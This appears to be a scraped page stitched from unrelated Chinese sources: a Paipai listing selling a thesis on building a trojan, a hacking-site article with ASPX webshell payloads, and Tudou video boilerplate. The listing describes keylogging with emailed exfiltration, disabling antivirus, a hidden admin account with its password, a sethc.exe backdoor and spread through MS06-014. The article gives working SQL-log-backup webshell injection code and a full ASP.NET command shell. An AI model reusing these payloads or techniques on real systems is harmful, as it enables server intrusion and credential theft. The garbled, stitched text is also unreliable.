您好，欢迎来拍拍！
|xGv00|cccfa638723ae676790392e41edc15c1
|xGv00|8643932176964fa6afac de0314b1f4
|xGv00|40cb0cec4cb047b3ccb0b94e78ba08ba
当前位置：
商品详情
拍拍小贴士：
|xGv00|5494228ba35ca0cff740a44da67b933e
|xGv00|3d73b43b3f5ef1906cb08dba9ecbd690
|xGv00|28bc17466b27189370cac28cbe031ffa
|xGv00|ff0f07e6b4354dc0c6c09b6e41c64587
|xGv00|5a44ec14f459a7f083aa539ff9feb752 客 服
店铺信用
好 评 率
描述相符
服务态度
发货速度
商品数量
所 在 地
河北 石家庄市
创店时间
2009-04-03 认 证
服 务
|xGv00|f4d3835f1721804fabfb9be1a12c764a
|xGv00|28bc17466b27189370cac28cbe031ffa
搜索店内商品
|xGv00|5a40c0eddb70f75fd5a0d77a68db2468
|xGv00|3df9f90b2a262cd46c25327826f72992
商品分类
|xGv00|ed3c8154a75d8276e887 2172b7e35c
|xGv00|d4569eaefb4e50314351643a09afee5a
友情链接
未添加友情链接
|xGv00|8141da97d2400d977b253bc63e002fb9
|xGv00|d4569eaefb4e50314351643a09afee5a
|xGv00|3bf48e422b07358bd2e71fe5a41e94b4
089信息安全 一个简单木马程序的设计与开发
价 格：
&ye 200.00
运 费：
所 在 地：
新旧程度：
拍拍网为您提供资金安全和
您查看的是历史商品，不能购买
支付方式：
近期销量：
浏 览 量：
人关注 客 服
店铺信用
好 评 率
描述相符
服务态度
发货速度
商品数量
所 在 地
河北 石家庄市
创店时间
2009-04-03 认 证
服 务
|xGv00|f4d3835f1721804fabfb9be1a12c764a
安全购物
|xGv00|c4362419c6524964e346b2946290f28d
购买套餐，即可享受优惠价格，立即选择吧！
套餐价：
联系卖家
详细信息
严禁交易QQ号码、非正规渠道Q币、非法来源的会员与钻石服务、手机***服务等；交易双方将可能受到处罚。
温馨提示：请您在购买前仔细查看款式
，注意面料
，并根据您的身材选择合适的
。如有需要，请咨询卖家（点击上面QQ交谈按钮）。
电脑软件激活码：
教育学习软件
属性信息仅供参考，详细情况请向卖家咨询！
如需完整资料请联系QQ：40114597，***：13833475944,13323010701 关键词：键盘记录；木马；目标主机
一个简单木马程序的设计与开发
随着互联网技术的迅猛发展，网络给人们带来了很多便利，但是也带来了许多麻烦。各种网页木马，后门，下载者，病毒，利用各种漏洞，U盘，社会工程学在网上横行，给广大用户带来了重要资料丢失，提前泄密，照片被人恶意传播到网上，系统被格盘，系统被监视，摄像头被人暗中开启并录像等非常严重的后果。
本毕业设计使用VC++6.0为开发平台设计的一个简单的木马程序，功能包括：键盘记录，并定时把邮件内容成功发送到某邮箱中，关闭某些防火墙和杀毒软件，开机自动隐藏运行，开启2233端口取得CMD权限,实现对目标机器的文件操作，开启3389端口，并替换系统目录下的sethc.exe为cmd.exe，实现登录不要密码，添加管理员等功能。并可利用MS06-014或MS07-004等漏洞在没打补丁没杀毒软件或是杀毒软件没更新的windows2000,windowsXP,windows2003机子上实现通过网页传播。 1.3 本课题研究的意义
通过对木马病毒及其变形的分析，提出可行的防范措施，使更多的用户了解木马病毒，了解防火墙，了解杀毒软件，了解常给系统打补丁的作用，以及加密保管重要文件，机密文件脱机保管的重要性。
1.4 本课题的研究方法及目标
编写一个简单木马，通过网页传播，使用户了解其功能，传播方法，删除方法，危害性以及其变形后的可能情况。要实现以下目标：
1. 记录用户键盘输入
2. 获取本机IP地址
3. 添加管理员admin$密码admin888
4. 替换系统目录下的sethc.exe为cmd.exe
5. 关闭常见的防火墙，杀毒软件
6. 打开3389端口
7. 定时向指定邮箱发送邮件，内容为IP地址和键盘输入
8. 打开设定端口，取得目标主机的CMD权限
9. 把程序***成系统服务，实现开机自启动
10. 使用MS06-014网页木马
11. 编写两个辅助程序
2 需求分析
2.1 程序要求
木马要求有如下功能：记录具有某些关健字的键盘输入，关闭杀毒软件防火墙，定时向指定邮箱发送邮件，添加系统管理员，替换系统目录下sethc.exe为cmd.exe,打开3389端口，打开用户设定端口，开启CMD权限，把程序自身复制到系统目录下，并设为系统服务实现开机自启动，获取本机IP地址。
通过网页木马下载并运用该木马程序，网页可用MS06-014或者是MS07-004以及更新的漏洞，实现对未打补丁，杀毒软件，防火墙久未更新的系统中招。
配置程序能对邮箱地址进行测试，能设定发信时间，能设定直接连接端口。
2.2 辅助程序图
图1中程序在输入SMTP和邮箱用户名及密码后，能对该邮箱发送一封测试邮件。能把SMTP，邮箱用户名，密码，定时发信时间，连接端口部分加密后，追加到木马尾部，使得木马运行时，从尾部读取信息。 目 录
论文总页数：21页
1 前言 1
1.1 课题背景 1
1.2 国内外研究现状 1
1.3 本课题研究的意义 2
1.4 本课题的研究方法及目标 2
2 系统分析 3
2.1 需求分析 3
2.1.1 程序要求 3
2.1.2 辅助程序图 3
2.1.3 木马程序功能说明 4
3 程序设计 4
3.1 辅佐程序设计 4
3.2 木马程序设计 7
3.2.1执行命令模块 7
3.2.2键盘记录模块 9
3.2.3关闭进程模块 12
3.2.4网页木马模块 14
4 程序及其变形的分析及防范措施 15
4.1 一般木马的分析及防范 15
4.2 常见防范方法 16
结 论 18
参考文献 19
致 谢 20
声 明 21 参考文献
[1] Anonymous.网络最高安全技术指南[M].北京：机械工业出版社,1998.5。
[2] Douglas E.Comer.TCP/IP网络互连技术[M].3rd，北京：清华大学出版社，1998.7。
[3] 黄维通.Visual C++ 面向对象与可视化程序设计[M].北京：清华大学出版社,2000.5。
[4] 王福建,郭月强,焦祝军等.Visual C++ 编程实例教程
].北京：北京希望电子出版社
[5] 管宁.Visual C++ 入门精解[EB/OL].
[6] 王敏译.用 Visual C++ 设计Win32 应用程序
].北京：学苑出版社,1994。 商品名称：
089信息安全 一个简单木马程序的设计与开发
剩余时间：
开始时间：
结束时间：
保 修：
发 票：
付款方式：
财付通付款
编 号：
AE7A442500000000002E397C064E3C66
如果您对尺码对照表有更好的建议，
本对照表依据中国常用衣服尺码对照表为基础
评价详情
卖家推荐商品
销售记录
商品价格：
近三个月销售记录:
购物保障
拍拍网为您提供资金安排和
买家权利
卖家义务
拍拍监督
买家使用财付通购买“
”标志的商品，在确认收货后14天内出现质量问题，与卖家协商无果的情况下有权申请先行赔付。
如实填写商品信息，确保商品质量，并按照承诺为买家提供合理的售后服务。
如***方在交易过程中产生纠纷，沟通无果并发起维权的情况下，拍拍网将在7天内介入处理。
价值点：
(1) 全部卖家都加入了诚信保证计划
(2) 全站商品都是诚保商品
(3) 质量有问题，拍拍可先行赔付给买家
维权过程中请注意：
(1) 买家赔付申请在形式上符合相关法律法规的规定；
(2) 赔付请求金额仅以买家实际支付的商品价款、邮费（含退货回邮费用）为限；
(3) 提出“先行赔付”申请应在线上确认收货后的14天内。
如何购买
拍拍网友情提醒：为保障您的利益，请加强与拍友的沟通，网上成交，请使用
免责声明：拍拍网为用户展示的商品供求信息由***双方自行提供，其真实性、准确性和合法性由信息发布人负责。拍拍网不提供任何保证，并不承担任何法律责任。
|xGv00|95f05608e563f3ef7d9e814516a9b7e0
|xGv00|a4ff99d7f2c9156dc3dd501d94b7f779
|xGv00|3b43eee92561530b3cde1705e8ac40ec
|xGv00|ff0f07e6b4354dc0c6c09b6e41c64587
|xGv00|6543642e307a7c14a9e86ebc90603eba
|xGv00|2554b757447c74360a86e57a3fa2aeef
新手上路
购物保障
支付方式
售后服务
业务咨询：0755-83762288
腾讯旗下网站：
Copyright© 1998-
Tencent.All Rights Reserved 腾讯公司 版权所有
|xGv00|c8341705b5e20dc87cf5872b15630b75
|xGv00|dea2b27c583c24d1887f1610edcd53b4→ A x一句话木马使用
A x一句话木马使用
作者：佚名 来源：不详 发布时间：2010-5-18 10:06:54
1.相当于ASP的一句话
alter database pu set RECOVERY FULL--
create table pu .dbo.cmd(a image)
backup log pu to disk = 'c:\TM' with init
i ert into pu .dbo.cmd(a) values ('%@ Page Language="C#" validateRequest="false" %%System.IO.StreamWriter ow=new System.IO.StreamWriter(Server.MapPath("images.a x"),false);ow.Write(Request.Params["l"]);ow.Close()% ')
backup log pu to disk = 'd:\test11.a x'
//这个和a 的一样，客户端post一个变量l 把
丢在变量l里面就ok了 这个是类似a 的一句话
//mu.a x.htm 客户端:(提交后访问:http://IP/images.a x)
form action=http://192.168.2.100/a /mu.a x method=post
在下面输入大马内容:/ gt lt r
textarea name=l cols=120 rows=35 width=45
%@ Page Language="VB" Debug="true" %
%@ import Name ace="system.IO" %
%@ import Name ace="System.Diagnostics" %
< cript runat="server"
Sub RunCmd(Src As Object, E As EventArgs)
Dim myProce As New Proce () Dim myProce StartInfo As New Proce StartInfo(xpath.Text) myProce StartInfo.UseShellExecute = False myProce StartInfo.RedirectStandardOutput = true myProce .StartInfo = myProce StartInfo myProce StartInfo.Arguments=xCmd.text
myProce .Start()
Dim myStreamReader As StreamReader = myProce .StandardOutput
Dim myString As String = myStreamReader.Readtoend()
myProce .Close()
mystring=replace(mystring,"","")
mystring=replace(mystring,"","")
result.text= vbcrlf & "< re" & mystring & "/pre"
End Sub
/scripthtmlhead
titleASP.NET Shell for
Admin2.X Final/title
meta http-equiv="Content-Type" c //head> lt ody
form runat="server"
a :Label id="L_p" style="COLOR: #0000ff" runat="server" width="80px"> Program/a :Label
a :TextBox id="xpath" style="BORDER-RIGHT: #084b8e 1px solid; BORDER-TOP: #084b8e 1px solid; BORDER-LEFT: #084b8e 1px solid; BORDER-BOTTOM: #084b8e 1px solid" runat="server" Width="300px"c:\windows\system32\cmd.exe/a :TextBox> lt r /
a :Label id="L_a" style="COLOR: #0000ff" runat="server" width="80px"Argument lt;/a :Label
a :TextBox id="xcmd" style="BORDER-RIGHT: #084b8e 1px solid; BORDER-TOP: #084b8e 1px solid; BORDER-LEFT: #084b8e 1px solid; BORDER-BOTTOM: #084b8e 1px solid" runat="server" Width="300px" Text="/c net user"/c net user/a :TextBox> lt r /
a :Button id="Button" style="BORDER-RIGHT: #084b8e 1px solid; BORDER-TOP: #084b8e 1px solid; BORDER-LEFT: #084b8e 1px solid; COLOR: #ffffff; BORDER-BOTTOM: #084b8e 1px solid; BACKGROUND-COLOR: #719bc5" runat="server" Width="100px" Text="Run"/a :Butto gt lt gt;
a :Label id="result" style="COLOR: #0000ff" runat="server"/a :Label / gt lt;/form/body/html
/textareaBRcenter> lt r
i ut type=submit value=提交
2、下面这个是我找网上的a .net的上传文件程序，修改精简了下，也可以用：
程序 drop table pu .dbo.cmd
alter database pu set RECOVERY FULL
create table pu .dbo.cmd(a image)
backup log pu to disk = 'c:\TM' with init
i ert into pu .dbo.cmd(a) values ('< cript language="c#" runat="server"> rivate void bc(object o,EventArgs e) {string u="files" tring filename;int pos=f.PostedFile.FileName.LastIndexOf("\\");filename=f.PostedFile.FileName.Su tring(pos + 1);f.PostedFile.SaveAs(Server.MapPath(u)+"\\"+filename);}/scriptform method="post" runat="server"i ut type="file" id="f" runat="server"/i ut type="submit" value=" " runat="Server" //form')
backup log pu to disk = 'c:\inetpub\wwwroot\test11.a x'
以上内容均来自互联网，本站仅提供自然搜索结果，与内容出处无关。 如有侵犯你的个人权益问题,并提供书面证明,请联系本站处理相关事宜！
本文引用网址：
在下列搜索引擎中搜索“
A x一句话木马使用
”的相关信息：
你可能还喜欢以下文章
·上一篇书院：
·下一篇书院：
书院评论
用户名：
分 值：
内 容：
！ (注“
”为必填内容。) 验证码：
赞助商广告
频道栏目导航
其他网友在看
图片文章导读
热门文章阅览
相关文章
Copyright 2008-2009 黑客武林
版权所有 All Rights Reserved***养成日记089旋转木马
***养成日记089旋转木马
想要转帖的地方不在上面,你还可以直接
你还可以
, 让土豆***来帮你解决
播客信息
更多该播客视频
土豆推广
视频信息
***养成日记089旋转木马
(0人打分过)
上传：2010-01-15
收藏：0
站外播放：
相关豆单
上一个视频
下一个视频
强档推荐
热词推荐：
我的土豆
Copyright 2005-2011 土豆网
沪ICP证：
网络视听许可证：
广播电视节目制作许可证：沪字第318号
药品服务许可证：(沪)-非经营性-2008-0051
网络文化经营许可证：文网文[2008]153号
互联网医疗卫生许可证：沪卫办审字(2008)第020号
一定要开启浏览器的 JavaScript 支持喔！否则不能正常使用土豆～
启用之后，刷新页面就可以看啦。
有问题请
如果你无法播放此视频, 请先确认是否***了 Flash Player
有问题请
你的Flash版本低于 9.0.115
点击“自动升级”更新到最新版
有问题请
